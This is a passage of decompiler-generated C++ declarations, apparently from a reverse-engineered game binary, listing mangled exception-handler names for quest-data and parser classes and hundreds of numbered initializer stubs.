_ehhandler___Insert_n___vector_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std__V__allocator_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std___3__std__IAEXViterator_12_IABV3__list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Construct_n___vector_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std__V__allocator_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std___3__std__QAEXIABViterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L86037(int a1); // void __usercall _L88910(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CQuestData__QAE_PAVCDataReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L89610(int a1); // void __usercall _L91076(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CQuestParserScript__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L92211(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__QAE_I_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Ipfx___basic_istream_DU__char_traits_D_std___std__QAE_N_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L93628(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Getcat___num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__SAIPAPBVfacet_locale_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L93779(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0sentry___basic_istream_DU__char_traits_D_std___std__QAE_AAV12__N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L94436(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____use_facet_V__num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std___std__YAABV__num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___0_ABVlocale_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_AAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler____getline_DU__char_traits_D_std__V__allocator_D_2__std__YAAAV__basic_istream_DU__char_traits_D_std___0_AAV10_AAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L99370(int a1); // void __usercall _L99371(int a1); // void __usercall _L99372(int a1); // void __usercall _L99373(int a1); // void __usercall _L99374(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__do_get___num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__MBE_AV__istreambuf_iterator_DU__char_traits_D_std___2_V32_0AAVios_base_2_AAHAA_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L102034(int a1); // void __usercall _L102035(int a1); // void __usercall _L101446(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Getloctxt_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__YAHAAV__istreambuf_iterator_DU__char_traits_D_std___0_0IPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L103105(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__do_get___num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__MBE_AV__istreambuf_iterator_DU__char_traits_D_std___2_V32_0AAVios_base_2_AAHAAPAX_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L103615(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____make_pair_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_std__YA_AU__pair_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_0_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L103844(int a1); // void __usercall _L103845(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ParserNext_CQuestParserScript__QAEPAUSTRUCT_QSC__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L105071(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___C(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L104894(int a1); // void __usercall _L104896(int a1); // void __usercall _L105019(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__basic_ifstream_DU__char_traits_D_std___std__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L106183(int a1); // void __usercall _L106184(int a1); // void __usercall _L106411(int a1); // void __usercall _L106413(int a1); // void __usercall _L106425(int a1); // void __usercall _L106185(int a1); // void __usercall _L106186(int a1); // void __usercall _L106188(int a1); // void __usercall _L106189(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__LoadConvertIDfromIndexName_CQuestParserScript__SA_NPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L66132(int a1); // void __usercall _L66133(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Final_CMD5Checksum__IAE_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L66623(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__GetMD5_CMD5Checksum__SA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PAEI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L11871(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen__String_base_std__QBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L12841(int a1); // void __usercall _L12842(int a1); // void __usercall _L12843(int a1); // void __usercall _L13072(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0_Locimp_locale_std__AAE__N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13087(int a1); // void __usercall _L13088(int a1); // void __usercall _L13089(int a1); // void __usercall _L13090(int a1); // void __usercall _L13091(int a1); // void __usercall _L13116(int a1); // void __usercall _L13117(int a1); // void __usercall _L8663(int a1); // void __usercall _L8664(int a1); // void __usercall _L8665(int a1); // void __usercall _L8700(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0runtime_error_std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); void __cdecl _E4(); void __cdecl _E7(); void __cdecl _E10(); void __cdecl _E1(); void __cdecl _E4_0(); void __cdecl _E3(); void __cdecl _E4_1(); void __cdecl _E7_0(); void __cdecl _E1_0(); void __cdecl _E4_2(); void __cdecl _E7_1(); void __cdecl _E4_3(); void __cdecl _E7_2(); void __cdecl _E10_0(); void __cdecl _E13(); void __cdecl _E16(); void __cdecl _E1_1(); void __cdecl _E1_2(); void __cdecl _E4_4(); void __cdecl _E5(); void __cdecl _E8(); void __cdecl _E11(); void __cdecl _E14(); void __cdecl _E17(); void __cdecl _E20(); void __cdecl _E23(); void __cdecl _E26(); void __cdecl _E29(); void __cdecl _E32(); void __cdecl _E35(); void __cdecl _E38(); void __cdecl _E3_0(); void __cdecl _E4_5(); void __cdecl _E3_1(); void __cdecl _E1_3(); void __cdecl _E4_6(); void __cdecl _E7_3(); void __cdecl _E10_1(); void __cdecl _E4_7(); void __cdecl _E7_4(); void __cdecl _E4_8(); void __cdecl _E1_4(); void __cdecl _E4_9(); void __cdecl _E1_5(); void __cdecl _E4_10(); void __cdecl _E7_5(); void __cdecl _E1_6(); void __cdecl _E4_11(); void __cdecl _E1_7(); void __cdecl _E1_8(); void __cdecl _E4_12(); void __cdecl _E7_6(); void __cdecl _E10_2(); void __cdecl _E13_0(); void __cdecl _E16_0(); void __cdecl _E19(); void __cdecl _E1_9(); void __cdecl _E4_13(); void __cdecl _E4_14(); void __cdecl _E7_7(); void __cdecl _E4_15(); void __cdecl _E4_16(); void __cdecl _E7_8(); void __cdecl _E4_17(); void __cdecl _E4_18(); void __cdecl _E7_9(); void __cdecl _E3_2(); void __cdecl _E1_10(); void __cdecl _E4_19(); void __cdecl _E7_10(); void __cdecl _E4_20(); void __cdecl _E7_11(); void __cdecl _E4_21(); void __cdecl _E7_12(); void __cdecl _E10_3(); void __cdecl _E13_1(); void __cdecl _E16_1(); void __cdecl _E19_0(); void __cdecl _E22(); void __cdecl _E25(); void __cdecl _E28(); void __cdecl _E31(); void __cdecl _E34(); void __cdecl _E37(); void __cdecl _E40(); void __cdecl _E43(); void __cdecl _E46(); void __cdecl _E49(); void __cdecl _E52(); void __cdecl _E55(); void __cdecl _E58(); void __cdecl _E61(); void __cdecl _E64(); void __cdecl _E3_3(); void __cdecl _E8_0(); void __cdecl _E11_0(); void __cdecl _E16_2(); void __cdecl _E1_11(); void __cdecl _E4_22(); void __cdecl _E1_12(); void __cdecl _E3_4(); void __cdecl _E3_5(); void __cdecl _E6(); void __cdecl _E9(); void __cdecl _E18(); void __cdecl _E23_0(); void __cdecl _E4_23(); void __cdecl _E1_13(); void __cdecl _E1_14(); void __cdecl _E4_24(); void __cdecl _E7_13(); void __cdecl _E4_25(); void __cdecl _E7_14(); void __cdecl _E10_4(); void __cdecl _E1_15(); void __cdecl _E4_26(); void __cdecl _E3_6(); void __cdecl _E7_15(); void __cdecl _E3_7(); void __cdecl _E3_8(); void __cdecl _E4_27(); void __cdecl _E7_16(); void __cdecl _E10_5(); void __cdecl _E13_2(); void __cdecl _E16_3(); void __cdecl _E4_28(); void __cdecl _E4_29(); void __cdecl _E4_30(); void __cdecl _E4_31(); void __cdecl _E7_17(); void __cdecl _E10_6(); void __cdecl _E13_3(); void __cdecl _E16_4(); void __cdecl _E3_9(); void __cdecl _E6_0(); void __cdecl _E4_32(); void __cdecl _E7_18(); void __cdecl _E10_7(); void __cdecl _E13_4(); void __cdecl _E16_5(); void __cdecl _E19_1(); void __cdecl _E22_0(); void __cdecl _E25_0(); void __cdecl _E1_16(); void __cdecl _E1_17(); void __cdecl _E4_33(); void __cdecl _E7_19(); void __cdecl _E10_8(); void __cdecl _E3_10(); void __cdecl _E6_1(); void __cdecl _E4_34(); void __cdecl _E7_20(); void __cdecl _E10_9(); void __cdecl _E1_18(); void __cdecl _E4_35(); void __cdecl _E7_21(); void __cdecl _E1_19(); void __cdecl _E4_36(); void __cdecl _E7_22(); void __cdecl _E10_10(); void __cdecl _E13_5(); void __cdecl _E1_20(); void __cdecl _E3_11(); void __cdecl _E3_12(); void __cdecl _E3_13(); void __cdecl _E3_14(); void __cdecl _E3_15(); void __cdecl _E3_16(); void __cdecl _E3_17(); void __cdecl _E6_2(); void __cdecl _E9_0(); void __cdecl _E12(); void __cdecl _E15(); void __cdecl _E18_0(); void __cdecl _E21(); void __cdecl _E24(); void __cdecl _E27(); void __cdecl _E30(); void __cdecl _E33(); void __cdecl _E36(); void __cdecl _E39(); void __cdecl _E42(); void __cdecl _E45(); void __cdecl _E48(); void __cdecl _E51(); void __cdecl _E54(); void __cdecl _E57(); void __cdecl _E60(); void __cdecl _E63(); void __cdecl _E66(); void __cdecl _E69(); void __cdecl _E72(); void __cdecl _E75(); void __cdecl _E78(); void __cdecl _E81(); void __cdecl _E84(); void __cdecl _E87(); void __cdecl _E4_37(); void __cdecl _E7_23(); void __cdecl _E1_21(); void __cdecl _E7_24(); void __cdecl _E10_11(); void __cdecl _E13_6(); void __cdecl _E16_6(); void __cdecl _E19_2(); void __cdecl _E22_1(); void __cdecl _E25_1(); void __cdecl _E28_0(); void __cdecl _E31_0(); void __cdecl _E34_0(); void __cdecl _E37_0(); void __cdecl _E40_0(); void __cdecl _E43_0(); void __cdecl _E46_0(); void __cdecl _E49_0(); void __cdecl _E52_0(); void __cdecl _E55_0(); void __cdecl _E58_0(); void __cdecl _E61_0(); void __cdecl _E64_0(); void __cdecl _E67(); void __cdecl _E73(); void __cdecl _E76(); void __cdecl _E79(); void __cdecl _E82(); void __cdecl _E85(); void __cdecl _E88(); void __cdecl _E94(); void __cdecl _E97(); void __cdecl _E100(); void __cdecl _E103(); void __cdecl _E109(); void __cdecl _E112(); void __cdecl _E115(); void __cdecl _E118(); void __cdecl _E121(); void __cdecl _E127(); void __cdecl _E130(); void __cdecl _E133(); void __cdecl _E136(); void __cdecl _E139(); void __cdecl _E142(); void __cdecl _E148(); void __cdecl _E151(); void __cdecl _E154(); void __cdecl _E156(); void __cdecl _E158(); void __cdecl _E160(); void __cdecl _E162(); void __cdecl _E164(); void __cdecl _E166(); void __cdecl _E168(); void __cdecl _E170(); void __cdecl _E172(); void __cdecl _E175(); void __cdecl _E1_22(); void __cdecl _E4_39(); void __cdecl _E7_25(); void __cdecl _E10_12(); void __cdecl _E13_7(); void __cdecl _E16_7(); void __cdecl _E19_3(); void __cdecl _E22_2(); void __cdecl _E25_2(); void __cdecl _E28_1(); void __cdecl _E31_1(); void __cdecl _E34_1(); void __cdecl _E4_40(); void __cdecl _E3_18(); void __cdecl _E6_3(); void __cdecl _E9_1(); void __cdecl _E12_0(); void __cdecl _E15_0(); void __cdecl _E18_1(); void __cdecl _E21_0(); void __cdecl _E24_0(); void __cdecl _E27_0(); void __cdecl _E30_0(); void __cdecl _E33_0(); void __cdecl _E36_0(); void __cdecl _E39_0(); void __cdecl _E42_0(); void __cdecl _E45_0(); void __cdecl _E48_0(); void __cdecl _E51_0(); void __cdecl _E54_0(); void __cdecl _E57_0(); void __cdecl _E60_0(); void __cdecl _E63_0(); void __cdecl _E4_41(); void __cdecl _E7_26(); void __cdecl _E3_19(); void __cdecl _E6_4(); void __cdecl _E9_2(); void __cdecl _E12_1(); void __cdecl _E4_42(); void __cdecl _E4_43(); void __cdecl _E6_5(); void __cdecl _E8_1(); void __cdecl _E4_44(); void __cdecl _E7_27(); void __cdecl _E10_13(); void __cdecl _E13_8(); void __cdecl _E16_8(); void __cdecl _E19_4(); void __cdecl _E22_3(); void __cdecl _E25_3(); void __cdecl _E28_2(); void __cdecl _E31_2(); void __cdecl _E34_2(); void __cdecl _E37_1(); void __cdecl _E40_1(); void __cdecl _E43_1(); void __cdecl _E46_1(); void __cdecl _E49_1(); void __cdecl _E53(); void __cdecl _E56(); void __cdecl _E59(); void __cdecl _E62(); void __cdecl _E65(); void __cdecl _E68(); void __cdecl _E70_0(); void __cdecl _E72_0(); void __cdecl _E74(); void __cdecl _E76_0(); void __cdecl _E78_0(); void __cdecl _E80(); void __cdecl _E84_0(); void __cdecl _E93(); void __cdecl _E98(); void __cdecl _E101(); void __cdecl _E3_20(); void __cdecl _E4_45(); void __cdecl _E4_46(); void __cdecl _E4_47(); void __cdecl _E1_23(); void __cdecl _E20_0(); void __cdecl _E23_1(); void __cdecl _E26_0(); void __cdecl _E29_0(); void __cdecl _E32_0(); void __cdecl _E3_21(); void __cdecl _E6_6(); void __cdecl _E9_3(); void __cdecl _E1_24(); void __cdecl _E6_7(); void __cdecl _E14_0(); void __cdecl _E17_0(); void __cdecl _E3_22(); void __cdecl _E1_25(); void __cdecl _E4_48(); void __cdecl _E7_28(); void __cdecl _E10_14(); void __cdecl _E13_9(); void __cdecl _E16_9(); void __cdecl _E19_5(); void __cdecl _E22_4(); void __cdecl _E25_4(); void __cdecl _E28_3(); void __cdecl _E31_3(); void __cdecl _E34_3(); void __cdecl _E37_2(); void __cdecl _E40_2(); void __cdecl _E43_2(); void __cdecl _E46_2(); void __cdecl _E49_2(); void __cdecl _E52_1(); void __cdecl _E55_1(); void __cdecl _E58_1(); void __cdecl _E61_1(); void __cdecl _E64_1(); void __cdecl _E67_0(); void __cdecl _E70_1(); void __cdecl _E73_0(); void __cdecl _E76_1(); void __cdecl _E79_0(); void __cdecl _E82_0(); void __cdecl _E85_0(); void __cdecl _E88_0(); void __cdecl _E91_0(); void __cdecl _E94_0(); void __cdecl _E97_0(); void __cdecl _E100_0(); void __cdecl _E4_49(); void __cdecl _E4_50(); void __cdecl _E7_29(); void __cdecl _E10_15(); void __cdecl _E13_10(); void __cdecl _E16_10(); void __cdecl _E19_6(); void __cdecl _E22_5(); void __cdecl _E25_5(); void __cdecl _E28_4(); void __cdecl _E31_4(); void __cdecl _E3_23(); void __cdecl _E4_51(); void __cdecl _E7_30(); void __cdecl _E10_16(); void __cdecl _E13_11(); void __cdecl _E16_11(); void __cdecl _E19_7(); void __cdecl _E22_6(); void __cdecl _E25_6(); void __cdecl _E28_5(); void __cdecl _E31_5(); void __cdecl _E34_4(); void __cdecl _E37_3(); void __cdecl _E40_3(); void __cdecl _E43_3(); void __cdecl _E46_3(); void __cdecl _E49_3(); void __cdecl _E1_26(); void __cdecl _E6_8(); void __cdecl _E9_4(); void __cdecl _E12_2(); void __cdecl _E15_1(); void __cdecl _E18_2(); void __cdecl _E21_1(); void __cdecl _E24_1(); void __cdecl _E27_1(); void __cdecl _E30_1(); void __cdecl _E33_1(); void __cdecl _E36_1(); void __cdecl _E39_1(); void __cdecl _E42_1(); void __cdecl _E45_1(); void __cdecl _E48_1(); void __cdecl _E51_1(); void __cdecl _E54_1(); void __cdecl _E57_1(); void __cdecl _E60_1(); void __cdecl _E63_1(); void __cdecl _E66_0(); void __cdecl _E69_0(); void __cdecl _E72_1(); void __cdecl _E75_0(); void __cdecl _E78_1(); void __cdecl _E81_0(); void __cdecl _E84_1(); void __cdecl _E87_0(); void __cdecl _E90(); void __cdecl _E93_0(); void __cdecl _E96(); void __cdecl _E99(); void __cdecl _E102(); void __cdecl _E105(); void __cdecl _E108(); void __cdecl _E111(); void __cdecl _E114(); void __cdecl _E117(); void __cdecl _E120(); void __cdecl _E123(); void __cdecl _E126(); void __cdecl _E129(); void __cdecl _E132(); void __cdecl _E135(); void __cdecl _E138(); void __cdecl _E141(); void __cdecl _E144(); void __cdecl _E147(); void __cdecl _E150(); void __cdecl _E153(); void __cdecl _E156_0(); void __cdecl _E159(); void __cdecl _E162_0(); void __cdecl _E165(); void __cdecl _E168_0(); void __cdecl _E171(); void __cdecl _E174(); void __cdecl _E177(); void __cdecl _E180(); void __cdecl _E183(); void __cdecl _E187(); void __cdecl _E190(); void __cdecl _E193(); void __cdecl _E196(); void __cdecl _E199(); void __cdecl _E202(); void __cdecl _E205(); void __cdecl _E208(); void __cdecl _E211(); void __cdecl _E214(); void __cdecl _E217(); void __cdecl _E220(); void __cdecl _E223(); void __cdecl _E4_52(); void __cdecl _E3_24(); void __cdecl _E3_25(); void __cdecl _E3_26(); void __cdecl _E6_9(); void __cdecl _E9_5(); void __cdecl _E3_27(); void __cdecl _E1_27(); void __cdecl _E4_53(); void __cdecl _E3_28(); void __cdecl _E1_28(); void __cdecl _E3_29(); void __cdecl _E6_10(); void __cdecl _E9_6(); void __cdecl _E1_29(); void __cdecl _E1_30(); void __cdecl _E4_54(); void __cdecl _E7_31(); void __cdecl _E1_31(); void __cdecl _E1_32(); void __cdecl _E1_33(); void __cdecl _E1_34(); void __cdecl _E4_55(); void __cdecl _E7_32(); void __cdecl _E1_35(); void __cdecl _E1_36(); void __cdecl _E4_56(); void __cdecl _E7_33(); void __cdecl _E10_17(); void __cdecl _E13_12(); void __cdecl _E16_12(); void __cdecl _E19_8(); void __cdecl _E22_7(); void __cdecl _E25_7(); void __cdecl _E28_6(); void __cdecl _E31_6(); void __cdecl _E34_5(); void __cdecl _E37_4(); void __cdecl _E40_4(); void __cdecl _E43_4(); void __cdecl _E46_4(); void __cdecl _E49_4(); void __cdecl _E1_37(); void __cdecl _E4_57(); void __cdecl _E1_38(); CIOBuffer::CSlot *__cdecl _E4_58(); void __cdecl _E1_39(); void __cdecl _E1_40(); void __cdecl _E1_41(); void __cdecl _E1_42(); void __cdecl _E1_43(); void __cdecl _E4_59(); void __cdecl _E8_2(); // idb void __cdecl _E11_1(); // idb void __cdecl _E5_0(); // idb void __cdecl _E2(); // idb void __cdecl _E5_1(); // idb void __cdecl _E4_60(); // idb void __cdecl _E5_2(); // idb void __cdecl _E8_3(); // idb void __cdecl _E2_0(); // idb void __cdecl _E5_3(); // idb void __cdecl _E8_4(); // idb void __cdecl _E5_4(); // idb void __cdecl _E7_34(); // idb void __cdecl _E9_7(); // idb void __cdecl _E11_2(); // idb void __cdecl _E13_13(); // idb void __cdecl _E15_2(); // idb void __cdecl _E17_1(); // idb void __cdecl _E19_9(); // idb void __cdecl _E17_2(); // idb void __cdecl _E8_5(); // idb void __cdecl _E5_5(); // idb void __cdecl _E14_1(); // idb void __cdecl _E11_3(); // idb void __cdecl _E2_1(); // idb void __cdecl _E5_6(); // idb void __cdecl _E2_2(); // idb void __cdecl _E6_11(); // idb void __cdecl _E9_8(); // idb void __cdecl _E42_2(); // idb void __cdecl _E44(); // idb void __cdecl _E49_5(); // idb void __cdecl _E48_2(); // idb void __cdecl _E47(); // idb void __cdecl _E46_5(); // idb void __cdecl _E51_2(); // idb void __cdecl key(); // idb void __cdecl _E12_3(); // idb void __cdecl _E15_3(); // idb void __cdecl _E18_3(); // idb void __cdecl _E21_2(); // idb void __cdecl _E24_2(); // idb void __cdecl _E27_2(); // idb void __cdecl _E30_2(); // idb void __cdecl _E33_2(); // idb void __cdecl _E36_2(); // idb void __cdecl _E39_2(); // idb void __cdecl _E4_61(); // idb void __cdecl _E5_7(); // idb void __cdecl _E5_8(); // idb void __cdecl _E7_35(); // idb void __cdecl _E4_62(); // idb void __cdecl _E2_3(); // idb void __cdecl _E5_9(); // idb void __cdecl _E8_6(); // idb void __cdecl _E11_4(); // idb void __cdecl _E5_10(); // idb void __cdecl _E7_36(); // idb void __cdecl _E8_7(); // idb void __cdecl _E5_11(); // idb void __cdecl _E5_12(); // idb void __cdecl _E7_37(); // idb void __cdecl _E9_10(); // idb void __cdecl _E11_5(); // idb void __cdecl _E13_14(); // idb void __cdecl _E15_4(); // idb void __cdecl _E17_3(); // idb void __cdecl _E19_10(); // idb void __cdecl _E21_3(); // idb void __cdecl _E23_2(); // idb void __cdecl _E25_8(); // idb void __cdecl _E27_3(); // idb void __cdecl _E29_1(); // idb void __cdecl _E31_7(); // idb void __cdecl _E33_3(); // idb void __cdecl _E5_13(); // idb void __cdecl _E2_4(); // idb void __cdecl _E5_14(); // idb void __cdecl _E2_5(); // idb void __cdecl _E8_8(); // idb void __cdecl _E11_6(); // idb void __cdecl _E5_15(); // idb void __cdecl _E2_6(); // idb void __cdecl _E5_16(); // idb void __cdecl _E2_7(); // idb void __cdecl _E2_8(); // idb void __cdecl _E5_17(); // idb void __cdecl _E8_9(); // idb void __cdecl _E17_4(); // idb void __cdecl _E11_7(); // idb void __cdecl _E20_1(); // idb void __cdecl _E14_2(); // idb void __cdecl _E2_9(); // idb void __cdecl _E5_18(); // idb void __cdecl _E11_8(); // idb void __cdecl _E13_15(); // idb void __cdecl _E15_5(); // idb void __cdecl _E17_5(); // idb void __cdecl _E19_11(); // idb void __cdecl _E21_4(); // idb void __cdecl _E5_19(); // idb void __cdecl _E8_10(); // idb void __cdecl _E5_20(); // idb void __cdecl _E7_38(); // idb void __cdecl _E5_21(); // idb void __cdecl _E11_9(); // idb void __cdecl _E13_16(); // idb void __cdecl _E15_6(); // idb void __cdecl _E17_6(); // idb void __cdecl _E8_11(); // idb void __cdecl _E5_22(); // idb void __cdecl _E5_23(); // idb void __cdecl _E5_24(); // idb void __cdecl _E8_12(); // idb void __cdecl _E4_63(); // idb void __cdecl _E2_10(); // idb void __cdecl _E5_25(); // idb void __cdecl _E11_11(); // idb void __cdecl _E8_13(); // idb void __cdecl _E8_14(); // idb void __cdecl _E5_26(); // idb void __cdecl _E8_15(); // idb void __cdecl _E11_12(); // idb void __cdecl _E14_3(); // idb void __cdecl _E17_7(); // idb void __cdecl _E20_2(); // idb void __cdecl _E23_3(); // idb void __cdecl _E26_1(); // idb void __cdecl _E29_2(); // idb void __cdecl _E32_1(); // idb void __cdecl _E35_0(); // idb void __cdecl _E38_0(); // idb void __cdecl _E41(); // idb void __cdecl _E44_0(); // idb void __cdecl _E47_0(); // idb void __cdecl _E50(); // idb void __cdecl _E53_0(); // idb void __cdecl _E56_0(); // idb void __cdecl _E59_0(); // idb void __cdecl _E62_0(); // idb void __cdecl _E5_27(); // idb void __cdecl _E65_0(); // idb void __cdecl _E4_64(); // idb void __cdecl _E15_7(); // idb void __cdecl _E17_8(); // idb void __cdecl _E9_11(); // idb void __cdecl _E12_5(); // idb void __cdecl _E2_11(); // idb void __cdecl _E8_16(); // idb void __cdecl _E10_18(); // idb void __cdecl _E5_28(); // idb void __cdecl _E2_12(); // idb void __cdecl _E4_65(); // idb void __cdecl _E4_66(); // idb void __cdecl _E7_39(); // idb void __cdecl _E13_17(); // idb void __cdecl _E19_12(); // idb void __cdecl _E22_8(); // idb void __cdecl _E24_3(); // idb void __cdecl _E10_19(); // idb void __cdecl _E5_29(); // idb void __cdecl _E2_13(); // idb void __cdecl _E2_14(); // idb void __cdecl _E5_30(); // idb void __cdecl _E8_17(); // idb void __cdecl _E5_31(); // idb void __cdecl _E8_18(); // idb void __cdecl _E11_13(); // idb void __cdecl _E2_15(); // idb void __cdecl _E5_32(); // idb void __cdecl _E11_14(); // idb void __cdecl _E8_19(); // idb void __cdecl _E4_67(); // idb void __cdecl _E4_68(); // idb void __cdecl _E4_69(); // idb void __cdecl _E5_33(); // idb void __cdecl _E8_20(); // idb void __cdecl _E11_15(); // idb void __cdecl _E14_4(); // idb void __cdecl _E17_9(); // idb void __cdecl _E5_34(); // idb void __cdecl _E5_35(); // idb void __cdecl _E5_36(); // idb void __cdecl _E5_37(); // idb void __cdecl _E8_21(); // idb void __cdecl _E14_5(); // idb void __cdecl _E11_16(); // idb void __cdecl _E17_10(); // idb void __cdecl _E7_40(); // idb void __cdecl _E4_70(); // idb void __cdecl _E23_4(); // idb void __cdecl _E5_38(); // idb void __cdecl _E8_22(); // idb void __cdecl _E11_17(); // idb void __cdecl _E14_6(); // idb void __cdecl _E17_11(); // idb void __cdecl _E20_3(); // idb void __cdecl _E26_2(); // idb void __cdecl _E29_3(); // idb void __cdecl _E2_16(); // idb void __cdecl _E5_39(); // idb void __cdecl _E7_41(); // idb void __cdecl _E9_12(); // idb void __cdecl _E11_18(); // idb void __cdecl _E18_4(); // idb void __cdecl _E17_12(); // idb void __cdecl _E16_13(); // idb void __cdecl _E15_8(); // idb void __cdecl _E14_7(); // idb void __cdecl _E13_18(); // idb void __cdecl _E2_17(); // idb void __cdecl _E5_40(); // idb void __cdecl _E11_19(); // idb void __cdecl _E8_23(); // idb void __cdecl _E7_42(); // idb void __cdecl _E4_71(); // idb void __cdecl _E8_24(); // idb void __cdecl _E11_20(); // idb void __cdecl _E5_41(); // idb void __cdecl _E2_18(); // idb void __cdecl _E5_42(); // idb void __cdecl _E8_25(); // idb void __cdecl _E4_72(); // idb void __cdecl _E2_19(); // idb void __cdecl _E8_26(); // idb void __cdecl _E14_8(); // idb void __cdecl _E5_43(); // idb void __cdecl _E11_21(); // idb void __cdecl _E2_20(); // idb void __cdecl _E4_73(); // idb void __cdecl _E4_74(); // idb void __cdecl _E4_75(); // idb void __cdecl _E4_76(); // idb void __cdecl _E4_77(); // idb void __cdecl _E4_78(); // idb void __cdecl _E91_1(); // idb void __cdecl 